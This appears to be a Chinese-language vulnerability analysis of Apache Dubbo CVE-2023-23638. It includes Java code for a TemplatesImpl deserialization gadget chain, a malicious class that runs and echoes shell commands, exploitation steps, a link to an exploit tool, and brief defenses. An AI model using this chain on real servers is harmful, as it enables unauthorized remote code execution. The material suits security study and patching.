Apache Dubbo (CVE-2023-23638)完整利用及工程化实践
字数 1423 2025-08-06 12:20:57
Apache Dubbo CVE-2023-23638漏洞分析与利用实践
漏洞概述
CVE-2023-23638是Apache Dubbo的一个反序列化漏洞,允许攻击者通过精心构造的恶意请求在目标服务器上实现远程代码执行。该漏洞影响Dubbo的多个版本,特别是在使用泛化调用功能时存在安全风险。
漏洞原理
漏洞的核心在于Dubbo的反序列化机制存在缺陷,攻击者可以通过替换关键的单例对象(如SerializeClassChecker)来绕过安全检查,进而实现任意代码执行。
前置知识
Dubbo关键组件
-
MetadataService:Dubbo 3.x中隐式启动的服务,用于保存Dubbo服务的元数据信息
- 服务名:
org.apache.dubbo.metadata.MetadataService - 版本:
1.0.0 - 完整URL格式:
dubbo://IP:PORT/[应用名]/org.apache.dubbo.metadata.MetadataService:1.0.0
- 服务名:
-
PojoUtils:负责对象转换的工具类,包含多个静态final对象
CLASS_NOT_FOUND_CACHE:缓存类查找结果的ConcurrentMap
-
GenericFilter:处理泛化调用的过滤器
漏洞利用流程
第一步:服务发现
-
获取应用名:
- 发起错误的泛化调用
- 从返回的
RpcException中提取正确的服务URL - 解析出应用名
-
确定MetadataService完整路径:
- 格式:
dubbo://IP:PORT/[应用名]/org.apache.dubbo.metadata.MetadataService:1.0.0
- 格式:
第二步:代码执行
利用链构造:
- 使用Fastjson2+TemplatesImpl实现任意代码执行
- 或使用Fastjson利用链实现全版本Dubbo代码执行
核心代码片段:
public static Object getObject() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get("evilClass");
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setValue(val,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,val);
NativeJavaSerialization nativeJavaSerialization = new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null, unsafeByteArrayOutputStream);
o.writeObject(hashMap);
return unsafeByteArrayOutputStream.toByteArray();
}
第三步:命令回显
-
替换PojoUtils.CLASS_NOT_FOUND_CACHE:
- 创建一个继承
AbstractTranslet并实现ConcurrentMap的恶意类 - 通过反射替换
CLASS_NOT_FOUND_CACHE对象
- 创建一个继承
-
恶意类实现:
- 覆盖
containsKey方法,执行命令并回显结果 - 通过抛出
IllegalArgumentException将结果返回给客户端
- 覆盖
恶意类核心代码:
public class evilClass extends AbstractTranslet implements ConcurrentMap {
private HashMap m = new HashMap();
public static final String CMD_PREFIX = "CMD:";
public static final String CMD_SPLIT = "@cmdEcho@";
@Override
public boolean containsKey(Object key) {
StringBuffer b = new StringBuffer();
if(key.toString().startsWith(CMD_PREFIX)) {
b.append(CMD_SPLIT);
try{
Process p = Runtime.getRuntime().exec(key.toString().substring(5).split(" "));
// 读取命令输出...
}catch (Exception e){}
b.append(CMD_SPLIT);
throw new IllegalArgumentException(b.toString());
}
return m.containsKey(key);
}
// 其他必要方法实现...
}
完整利用步骤
- 上传恶意字节码,替换
CLASS_NOT_FOUND_CACHE对象 - 发起正常泛化调用,参数中包含
class:命令键值对 - 恶意
containsKey方法执行命令并返回结果
工程化实践
-
自动化工具:
- 自动发现Dubbo应用名
- 自动构造并发送恶意请求
- 提供GUI界面简化操作
-
开源实现:
- 工具源码:https://github.com/YYHYlh/Apache-Dubbo-CVE-2023-23638-exp/
防御措施
- 升级到Dubbo安全版本
- 限制Dubbo服务的网络访问
- 禁用不必要的泛化调用功能
- 实施严格的输入验证和过滤
总结
CVE-2023-23638漏洞利用Dubbo的反序列化机制缺陷,通过替换关键单例对象实现代码执行。完整的利用流程包括服务发现、代码执行和命令回显三个关键步骤,通过工程化工具可以自动化完成整个攻击过程。防御方面应及时升级并限制不必要的服务暴露。